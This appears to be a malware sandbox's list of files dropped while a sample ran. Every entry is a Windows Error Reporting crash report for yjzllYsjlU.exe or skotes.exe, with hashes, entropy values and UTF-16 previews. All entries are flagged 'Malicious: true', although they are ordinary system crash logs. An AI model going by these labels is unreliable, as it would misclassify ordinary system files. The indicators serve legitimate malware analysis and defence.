Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.2.6.7.6.3.8.3.0.4.2.7.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.1.7.2.6.7.6.4.2.6.7.9.2.6.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.d.c.d.c.8.c.6.-.d.f.7.e.-.4.6.a.7.-.9.c.a.7.-.3.2.5.d.7.4.3.1.e.1.7.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.9.0.0.f.4.a.e.-.b.d.4.c.-.4.6.8.e.-.8.6.7.2.-.c.8.0.d.7.8.b.3.3.5.1.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.s.k.o.t.e.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.7.8.-.0.0.0.1.-.0.0.1.5.-.a.d.5.8.-.f.7.7.c.2.5.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.3.0.9.4.f.c.a.3.8.0.6.f.4.3.a.4.e.8.9.f.f.7.1.6.0.8.9.0.f.8.1.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.a.6.5.d.e.4.b.b.e.a.7.b.f.1.6.3.2.2.8.8.2.e.b.0.c.b.b.0.9.0.9.e.f.c.f.0.d.b.!.s.k.o.t.e.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_1dfe3e94b198917810753298a9aa7445bcd8db4_8cd1c366_29b34a38-39c1-4b0b-8701-b141403d475f\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1059557013429178
Encrypted:	false
SSDEEP:	192:yEEUZOrnr0xev5jpQwZrtKVFezuiF3Z24IO8r1X:coOrn4xev5jwezuiF3Y4IO8rN
MD5:	EB6EF576F722DFD0F8F45530504011CD
SHA1:	32D238E83F73688DB3A86428D425104B46424AB0
SHA-256:	2C2D989DF974A6CE14E53BD4335D46E1F55D913455510F5365FC2133781A89F0
SHA-512:	8BA30BC2D5C89EDE7D566494A2D7DF418DF9A7CA22DA9DDAE1EE96E2F10577A85DAC1A0501D54C477B822BB68A48C5EC402E6ACF487388231A39071D873FD171
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.2.6.7.6.3.1.8.5.3.0.3.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.1.7.2.6.7.6.3.9.8.2.1.7.7.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.9.b.3.4.a.3.8.-.3.9.c.1.-.4.b.0.b.-.8.7.0.1.-.b.1.4.1.4.0.3.d.4.7.5.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.7.e.3.8.f.a.8.-.5.4.2.d.-.4.0.0.c.-.b.1.3.e.-.b.d.0.d.2.f.2.6.b.7.b.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.j.z.l.l.Y.s.j.l.U...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.3.c.-.0.0.0.1.-.0.0.1.5.-.d.7.a.e.-.5.0.7.7.2.5.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.2.2.0.b.e.1.8.c.d.1.2.d.f.0.a.d.5.7.8.2.3.1.c.9.b.0.1.f.c.5.d.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.a.6.5.d.e.4.b.b.e.a.7.b.f.1.6.3.2.2.8.8.2.e.b.0.c.b.b.0.9.0.9.e.f.c.f.0.d.b.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_09477d72-c3db-4fb9-94d5-24870ab915c0\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0041728676184458
Encrypted:	false
SSDEEP:	192:yXZBVr4056rAjpQwZrtKVXzuiF3Z24IO8O1X:qzrT56rAjizuiF3Y4IO8ON
MD5:	A273A1F989AD7D4C5FEB31CF19ECF4A8
SHA1:	3BB80C0F12FB1EF2203DCDED3600A294FB065362
SHA-256:	10B4D27F23EA6EC5C39E4DD7E89944356602858FECF64257BDBD525FFD897A6C
SHA-512:	345559D0AB37E56E434655FADE7DC461D2447F2E6C34D7700FCA3B2BC6E4FE764DA90A47A301DBD7B46FC49C95B6EEFADF93F5DF74285A3D6777EFA0B7F8FC25
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.2.6.7.6.0.5.8.3.7.8.1.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.9.4.7.7.d.7.2.-.c.3.d.b.-.4.f.b.9.-.9.4.d.5.-.2.4.8.7.0.a.b.9.1.5.c.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.f.e.8.6.4.7.0.-.d.9.4.a.-.4.a.2.8.-.b.4.c.a.-.a.3.8.3.f.b.c.5.3.1.3.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.j.z.l.l.Y.s.j.l.U...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.3.c.-.0.0.0.1.-.0.0.1.5.-.d.7.a.e.-.5.0.7.7.2.5.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.2.2.0.b.e.1.8.c.d.1.2.d.f.0.a.d.5.7.8.2.3.1.c.9.b.0.1.f.c.5.d.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.a.6.5.d.e.4.b.b.e.a.7.b.f.1.6.3.2.2.8.8.2.e.b.0.c.b.b.0.9.0.9.e.f.c.f.0.d.b.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.2.:.1.7.:.4.0.:.4.4.!.0.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_0ed18c80-650a-4e2f-9ac8-a6bb4143fdd0\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9969289202770114
Encrypted:	false
SSDEEP:	192:Yc0Zzr4056rAjpQwZrtKVzzuiF3Z24IO8O1X:7IzrT56rAj2zuiF3Y4IO8ON
MD5:	A034C05883F9169558F1F965F89E7169
SHA1:	8EF7BACA53B2EE1BE5B8732DE297A502312BB69B
SHA-256:	D418E1BC32FB3AE1659E6B2269EBD3508D6B2AC1546FB01FABCB25E37FAA843B
SHA-512:	AC54C8623DC9C058FC27AD53F0C5B1DDC8F38F3E101FA43F1D30CF45F4E1503EE476A7FFD69B479F1B5AB61A4F7883F94A2884197EFE3DFF07E3E3A681F726B9
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.2.6.7.5.9.2.5.2.0.9.6.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.e.d.1.8.c.8.0.-.6.5.0.a.-.4.e.2.f.-.9.a.c.8.-.a.6.b.b.4.1.4.3.f.d.d.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.7.8.5.1.b.1.6.-.9.f.3.1.-.4.1.a.9.-.9.9.5.b.-.7.e.5.2.0.c.1.c.d.5.3.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.j.z.l.l.Y.s.j.l.U...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.3.c.-.0.0.0.1.-.0.0.1.5.-.d.7.a.e.-.5.0.7.7.2.5.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.2.2.0.b.e.1.8.c.d.1.2.d.f.0.a.d.5.7.8.2.3.1.c.9.b.0.1.f.c.5.d.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.a.6.5.d.e.4.b.b.e.a.7.b.f.1.6.3.2.2.8.8.2.e.b.0.c.b.b.0.9.0.9.e.f.c.f.0.d.b.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.2.:.1.7.:.4.0.:.4.4.!.0.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_2d546be1-8b6d-4947-8971-64529febfbcf\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9034873949158321
Encrypted:	false
SSDEEP:	192:M71IATZ5r4056rAjpQwZrHzuiF3Z24IO8O1X:o1IAV5rT56rAjhzuiF3Y4IO8ON
MD5:	67CDE5A1F2867B96330E2BA35F27325B
SHA1:	9DA83DA83A2C35BDD7727839EACF8103A934A42D
SHA-256:	DC0A2734128FC9DB527C366205284DA01C207F111C35B80FDB90DDED790912E0
SHA-512:	277427B13295F750C18A3B5C46336A3BCBCCA4134F2DD3C2D808FCED497ACF0273CF8FDB0EF8C338F3C168429FBC42C3051FCBC95C3BD1EE817FCD4AE1D5A696
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.2.6.7.5.5.7.9.1.6.2.4.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.d.5.4.6.b.e.1.-.8.b.6.d.-.4.9.4.7.-.8.9.7.1.-.6.4.5.2.9.f.e.b.f.b.c.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.7.0.f.9.e.0.8.-.7.1.c.b.-.4.9.6.7.-.9.6.1.7.-.9.d.e.d.e.9.d.a.6.1.f.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.j.z.l.l.Y.s.j.l.U...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.3.c.-.0.0.0.1.-.0.0.1.5.-.d.7.a.e.-.5.0.7.7.2.5.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.2.2.0.b.e.1.8.c.d.1.2.d.f.0.a.d.5.7.8.2.3.1.c.9.b.0.1.f.c.5.d.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.a.6.5.d.e.4.b.b.e.a.7.b.f.1.6.3.2.2.8.8.2.e.b.0.c.b.b.0.9.0.9.e.f.c.f.0.d.b.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.2.:.1.7.:.4.0.:.4.4.!.0.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_38f69cbd-7ca2-4799-b432-e6ed18fd5571\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9100100284352439
Encrypted:	false
SSDEEP:	192:1zZUr4056rAjpQwZrtdzuiF3Z24IO8O1X:3UrT56rAjJzuiF3Y4IO8ON
MD5:	12956FA123B5F170C8DC9F33BEA51377
SHA1:	B2A9B8CDB37DD3A1A9A3B62528DE034676646B03
SHA-256:	0FD546CC0BC039FFB978250BFF572A4CF310B67D1A56D951AF2059F33CCDDF78
SHA-512:	BB7635A47B157D150B3838E195902CFAC329C3642FB8759560BC8865DAECA8EC3B15B7CA23B59559011043E3E62BC72D25C90F6B61438B16BCEB82393E3672D5
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.2.6.7.5.7.1.6.6.2.3.9.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.8.f.6.9.c.b.d.-.7.c.a.2.-.4.7.9.9.-.b.4.3.2.-.e.6.e.d.1.8.f.d.5.5.7.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.d.6.2.7.b.8.8.-.9.0.c.d.-.4.d.f.0.-.b.9.b.0.-.6.a.3.0.f.4.9.6.d.d.b.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.j.z.l.l.Y.s.j.l.U...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.3.c.-.0.0.0.1.-.0.0.1.5.-.d.7.a.e.-.5.0.7.7.2.5.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.2.2.0.b.e.1.8.c.d.1.2.d.f.0.a.d.5.7.8.2.3.1.c.9.b.0.1.f.c.5.d.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.a.6.5.d.e.4.b.b.e.a.7.b.f.1.6.3.2.2.8.8.2.e.b.0.c.b.b.0.9.0.9.e.f.c.f.0.d.b.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.2.:.1.7.:.4.0.:.4.4.!.0.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_3cf51925-8aa6-4c17-bb4b-fc367a41256b\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9035358952318105
Encrypted:	false
SSDEEP:	192:fZ2vr4056rAjpQwZrHzuiF3Z24IO8O1X:R2vrT56rAjhzuiF3Y4IO8ON
MD5:	D757C7F761FA99E69131F58B6C4ECBE5
SHA1:	26E634A768E745A2C601C0324A501401A79C30DA
SHA-256:	53ACC3A58FCB9611B5097F060D572929C9A89E9916753452682CC5880FEB80EF
SHA-512:	53161074AA995D9559F546B5132D04AF965D576CECB298EB5BA1A8D15C54EC31DEBE8F147619FCD1DE5495FAF317F5CFCEB41E17A65B53392E6F767623FF7ACF
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.2.6.7.5.6.4.2.9.8.1.2.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.c.f.5.1.9.2.5.-.8.a.a.6.-.4.c.1.7.-.b.b.4.b.-.f.c.3.6.7.a.4.1.2.5.6.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.6.c.3.8.1.9.0.-.e.7.d.6.-.4.5.6.b.-.8.f.4.3.-.d.5.c.d.7.6.e.0.a.7.5.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.j.z.l.l.Y.s.j.l.U...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.3.c.-.0.0.0.1.-.0.0.1.5.-.d.7.a.e.-.5.0.7.7.2.5.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.2.2.0.b.e.1.8.c.d.1.2.d.f.0.a.d.5.7.8.2.3.1.c.9.b.0.1.f.c.5.d.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.a.6.5.d.e.4.b.b.e.a.7.b.f.1.6.3.2.2.8.8.2.e.b.0.c.b.b.0.9.0.9.e.f.c.f.0.d.b.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.2.:.1.7.:.4.0.:.4.4.!.0.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_9a9818d2-3f10-4581-ad2e-918f8f2edefd\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8447135210207714
Encrypted:	false
SSDEEP:	96:Gj9ZWs1hqwoA7Rn6tQXIDcQnc6rCcEhcw3rL+HbHg/8BRTf3ZFEOyKZoxm9nFEb6:o9ZWr4056rAjp5zuiF3Z24IO8O1X
MD5:	F4282C66D423FED0CDA83E7C5F59C667
SHA1:	AA334C74223A523111744CA3BB9AEF13327E6F5C
SHA-256:	04F7601DF561E5312DAFA8103BB1BDA8A50971CA5132B57A22038499373650C6
SHA-512:	6B7CBFB705384FC7503FE7E884BA941C710EC0BEFFD86294CBB84A8E5E5E78F9B5D00F0DBC911F60844462C19F3FF22C9C0CE0D73F3C29F7330B5D4E482A719E
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.2.6.7.5.3.5.3.7.6.3.8.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.a.9.8.1.8.d.2.-.3.f.1.0.-.4.5.8.1.-.a.d.2.e.-.9.1.8.f.8.f.2.e.d.e.f.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.1.6.4.3.2.2.8.-.2.5.d.a.-.4.a.9.2.-.b.8.6.1.-.8.b.4.c.e.4.3.9.5.6.e.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.j.z.l.l.Y.s.j.l.U...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.3.c.-.0.0.0.1.-.0.0.1.5.-.d.7.a.e.-.5.0.7.7.2.5.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.2.2.0.b.e.1.8.c.d.1.2.d.f.0.a.d.5.7.8.2.3.1.c.9.b.0.1.f.c.5.d.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.a.6.5.d.e.4.b.b.e.a.7.b.f.1.6.3.2.2.8.8.2.e.b.0.c.b.b.0.9.0.9.e.f.c.f.0.d.b.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.2.:.1.7.:.4.0.:.4.4.!.0.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_9bcc5ca9-d1e1-49d3-b39b-4c51660d8ba1\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0109715645777944
Encrypted:	false
SSDEEP:	192:5sZRr4056rAjpQwZrtKVHzuiF3Z24IO8O1X:5gRrT56rAjKzuiF3Y4IO8ON
MD5:	C9524C6655DC3C787BD9C3F9F0B716D7
SHA1:	3C273F83305785FBEF77413F5B4FE3B5E59B42E5
SHA-256:	3E7CFE0F4A9F84DF3BDCE9D3FF952533AA6811FBE4B5EEB861F05EEBDF663B39
SHA-512:	8F7F7C691BB12A2F9E23EE367849BED1970A00F1A4434F6417D9BD61251DF3911ED2241CC3792C5532C38B3E1E582DB2F63B428A6BB9ED53AFB9F403BC9FC693
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.2.6.7.6.1.3.8.3.6.6.5.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.b.c.c.5.c.a.9.-.d.1.e.1.-.4.9.d.3.-.b.3.9.b.-.4.c.5.1.6.6.0.d.8.b.a.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.4.c.2.c.4.3.a.-.4.d.9.9.-.4.9.7.9.-.9.f.4.1.-.8.9.8.b.4.f.4.e.f.9.a.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.j.z.l.l.Y.s.j.l.U...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.3.c.-.0.0.0.1.-.0.0.1.5.-.d.7.a.e.-.5.0.7.7.2.5.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.2.2.0.b.e.1.8.c.d.1.2.d.f.0.a.d.5.7.8.2.3.1.c.9.b.0.1.f.c.5.d.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.a.6.5.d.e.4.b.b.e.a.7.b.f.1.6.3.2.2.8.8.2.e.b.0.c.b.b.0.9.0.9.e.f.c.f.0.d.b.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.2.:.1.7.:.4.0.:.4.4.!.0.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_a94248d9-efeb-479e-a432-9e1c134e14fc\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	65536
Entropy (8bit):	0.9095130655151291
Encrypted:	false
SSDEEP:	192:HYZzr4056rAjpQwZrtdzuiF3Z24IO8O1X:H8zrT56rAjJzuiF3Y4IO8ON
MD5:	7E9A445C0688627D21FD153F06ED5EB5
SHA1:	91041371C59A50AFA043A44EB30A130328EC4A93
SHA-256:	A94AE12781DD155591FC5DDC5326D67FA114A6134D6F70815229135347889D44
SHA-512:	F691B0DD5DDF4A399C8FB0B84463D84AF7F83281FFEE58E763070DF7BADBF2C8866449309FE364780A45FF9C4B890BC4D5CE380A61D963759F190B5F874833CF
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.2.6.7.5.8.4.0.1.0.9.7.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.9.4.2.4.8.d.9.-.e.f.e.b.-.4.7.9.e.-.a.4.3.2.-.9.e.1.c.1.3.4.e.1.4.f.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.4.7.5.4.a.7.5.-.0.6.c.2.-.4.d.d.5.-.a.f.a.a.-.c.5.9.e.e.e.6.d.8.d.b.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.j.z.l.l.Y.s.j.l.U...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.3.c.-.0.0.0.1.-.0.0.1.5.-.d.7.a.e.-.5.0.7.7.2.5.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.2.2.0.b.e.1.8.c.d.1.2.d.f.0.a.d.5.7.8.2.3.1.c.9.b.0.1.f.c.5.d.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.a.6.5.d.e.4.b.b.e.a.7.b.f.1.6.3.2.2.8.8.2.e.b.0.c.b.b.0.9.0.9.e.f.c.f.0.d.b.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.2.:.1.7.:.4.0.:.4.4.!.0.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yjzllYsjlU.exe_4363f676aae74bac2ea5a449ac7ab892edc3967c_8cd1c366_d481bc4e-90c6-4cdb-9ff0-71814e021ac5\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.87810125457381
Encrypted:	false
SSDEEP:	96:K7Zas1hqwoA7Rn6tQXIDcQnc6rCcEhcw3rL+HbHg/8BRTf3ZFEOyKZoxm9nFEb8O:8Zar4056rAjpQhzuiF3Z24IO8O1X
MD5:	7248553C5DC86F2E970480639A95DD0F
SHA1:	9424969D470716FE03855A41A581F7D96E169876
SHA-256:	B9D1B69E4484CC1787BBC8EAEBBC7FC7EBFADDC692540B14F82E759F854C362B
SHA-512:	AAC5DC6B17270CC1F55A0CEAF788EF0992B0C24C751AFA70DC6DE01DAD9607DA69DF9AD27044969CE13FD62A0390DA9B9ED6E1AD0EEA3E5234C4B4A2007C6A55
Malicious:	true
